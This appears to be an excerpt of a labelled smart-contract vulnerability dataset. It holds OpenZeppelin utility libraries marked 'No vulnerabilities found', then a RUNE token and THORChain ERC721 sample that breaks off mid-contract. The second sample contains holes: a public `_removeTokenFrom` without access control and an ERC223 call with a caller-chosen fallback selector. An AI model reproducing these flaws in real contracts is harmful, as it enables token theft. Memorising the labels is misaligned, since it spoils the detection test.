return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
} | No vulnerabilities found |
pragma solidity 0.4.24;
// ERC20 Token with ERC223 Token compatibility
// SafeMath from OpenZeppelin Standard
// Added burn functions from Ethereum Token
// - https://theethereum.wiki/w/index.php/ERC20_Token_Standard
// - https://github.com/Dexaran/ERC23-tokens/blob/Recommended/ERC223_Token.sol
// - https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// - https://www.ethereum.org/token (uncontrolled, non-standard)
// ERC223
interface ContractReceiver {
function tokenFallback( address from, uint value, bytes data ) external;
}
// SafeMath
contract SafeMath2 {
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract RUNEToken is SafeMath2
{
// Rune Characteristics
string public name = "Rune";
string public symbol = "RUNE";
uint256 public decimals = 18;
uint256 public totalSupply = 1000000000 * (10 ** decimals);
// Mapping
mapping( address => uint256 ) balances_;
mapping( address => mapping(address => uint256) ) allowances_;
// Minting event
function RUNEToken() public {
balances_[msg.sender] = totalSupply;
emit Transfer( address(0), msg.sender, totalSupply );
}
function() public payable { revert(); } // does not accept money
// ERC20
event Approval( address indexed owner,
address indexed spender,
uint value );
event Transfer( address indexed from,
address indexed to,
uint256 value );
// ERC20
function balanceOf( address owner ) public constant returns (uint) {
return balances_[owner];
}
// ERC20
function approve( address spender, uint256 value ) public
returns (bool success)
{
allowances_[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
// recommended fix for known attack on any ERC20
function safeApprove( address _spender,
uint256 _currentValue,
uint256 _value ) public
returns (bool success) {
// If current allowance for _spender is equal to _currentValue, then
// overwrite it with _value and return true, otherwise return false.
if (allowances_[msg.sender][_spender] == _currentValue)
return approve(_spender, _value);
return false;
}
// ERC20
function allowance( address owner, address spender ) public constant
returns (uint256 remaining)
{
return allowances_[owner][spender];
}
// ERC20
function transfer(address to, uint256 value) public returns (bool success)
{
bytes memory empty; // null
_transfer( msg.sender, to, value, empty );
return true;
}
// ERC20
function transferFrom( address from, address to, uint256 value ) public
returns (bool success)
{
require( value <= allowances_[from][msg.sender] );
allowances_[from][msg.sender] -= value;
bytes memory empty;
_transfer( from, to, value, empty );
return true;
}
// ERC223 Transfer and invoke specified callback
function transfer( address to,
uint value,
bytes data,
string custom_fallback ) public returns (bool success)
{
_transfer( msg.sender, to, value, data );
if ( isContract(to) )
{
ContractReceiver rx = ContractReceiver( to );
require( address(rx).call.value(0)(bytes4(keccak256(custom_fallback)),
msg.sender,
value,
data) );
}
return true;
}
// ERC223 Transfer to a contract or externally-owned account
function transfer( address to, uint value, bytes data ) public
returns (bool success)
{
if (isContract(to)) {
return transferToContract( to, value, data );
}
_transfer( msg.sender, to, value, data );
return true;
}
// ERC223 Transfer to contract and invoke tokenFallback() method
function transferToContract( address to, uint value, bytes data ) private
returns (bool success)
{
_transfer( msg.sender, to, value, data );
ContractReceiver rx = ContractReceiver(to);
rx.tokenFallback( msg.sender, value, data );
return true;
}
// ERC223 fetch contract size (must be nonzero to be a contract)
function isContract( address _addr ) private constant returns (bool)
{
uint length;
assembly { length := extcodesize(_addr) }
return (length > 0);
}
function _transfer( address from,
address to,
uint value,
bytes data ) internal
{
require( to != 0x0 );
require( balances_[from] >= value );
require( balances_[to] + value > balances_[to] ); // catch overflow
balances_[from] -= value;
balances_[to] += value;
//Transfer( from, to, value, data ); ERC223-compat version
bytes memory empty;
empty = data;
emit Transfer( from, to, value ); // ERC20-compat version
}
// Ethereum Token
event Burn( address indexed from, uint256 value );
// Ethereum Token
function burn( uint256 value ) public
returns (bool success)
{
require( balances_[msg.sender] >= value );
balances_[msg.sender] -= value;
totalSupply -= value;
emit Burn( msg.sender, value );
return true;
}
// Ethereum Token
function burnFrom( address from, uint256 value ) public
returns (bool success)
{
require( balances_[from] >= value );
require( value <= allowances_[from][msg.sender] );
balances_[from] -= value;
allowances_[from][msg.sender] -= value;
totalSupply -= value;
emit Burn( from, value );
return true;
}
}
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract THORChain721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
bytes4 retval;
bool reverts;
constructor(bytes4 _retval, bool _reverts) public {
retval = _retval;
reverts = _reverts;
}
event Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data,
uint256 _gas
);
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4)
{
require(!reverts);
emit Received(
_operator,
_from,
_tokenId,
_data,
gasleft()
);
return retval;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address _account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_account) }
return size > 0;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 _tokenId) internal view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = THORChain721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(_exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(_exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
ownedTokens[_from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract THORChain721 is ERC721Token {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor () public ERC721Token("testTC1", "testTC1") {
owner = msg.sender;
}
// Revert any transaction to this contract.
function() public payable {
revert();
}
function mint(address _to, uint256 _tokenId) public onlyOwner {
super._mint(_to, _tokenId);
}
function burn(uint256 _tokenId) public onlyOwner {
super._burn(ownerOf(_tokenId), _tokenId);
}
function setTokenURI(uint256 _tokenId, string _uri) public onlyOwner {
super._setTokenURI(_tokenId, _uri);
}
function _removeTokenFrom(address _from, uint256 _tokenId) public {
super.removeTokenFrom(_from, _tokenId);
}
}
contract Whitelist {
address public owner;
mapping(address => bool) public whitelistAdmins;
mapping(address => bool) public whitelist;
constructor () public {
owner = msg.sender;
whitelistAdmins[owner] = true;
}
modifier onlyOwner () {
require(msg.sender == owner, "Only owner");
_;
}
modifier onlyWhitelistAdmin () {
require(whitelistAdmins[msg.sender], "Only whitelist admin");
_;
}
function isWhitelisted(address _addr) public view returns (bool) {
return whitelist[_addr];
}
function addWhitelistAdmin(address _admin) public onlyOwner {
whitelistAdmins[_admin] = true;
}
function removeWhitelistAdmin(address _admin) public onlyOwner {
require(_admin != owner, "Cannot remove contract owner");
whitelistAdmins[_admin] = false;
}
function whitelistAddress(address _user) public onlyWhitelistAdmin {
whitelist[_user] = true;
}
function whitelistAddresses(address[] _users) public onlyWhitelistAdmin {
for (uint256 i = 0; i < _users.length; i++) {
whitelist[_users[i]] = true;
}
}
function unWhitelistAddress(address _user) public onlyWhitelistAdmin {
whitelist[_user] = false;
}
function unWhitelistAddresses(address[] _users) public onlyWhitelistAdmin {
for (uint256 i = 0; i < _users.length; i++) {
whitelist[_users[i]] = false;
}
}
}
contract Sale1 is Whitelist {
using SafeMath for uint256;
uint256 public maximumNonWhitelistAmount = 12500 * 50 ether; // in minimum units of rune
// in minimum units of rune (1000 = 0.000000000000001000 RUNE per WEI)
// note that this only works if the amount of rune per wei is more than 1
uint256 public runeToWeiRatio = 12500;
